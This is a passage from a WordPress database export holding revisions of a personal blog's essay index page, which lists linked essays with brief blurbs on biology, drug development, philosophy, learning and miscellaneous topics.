TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2024-06-12 17:37:47','2024-06-12 17:37:47','',22,'https://trevorklee.com/?p=452',0,'revision','',0),
(453,1,'2024-06-12 17:52:31','2024-06-12 17:52:31','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower 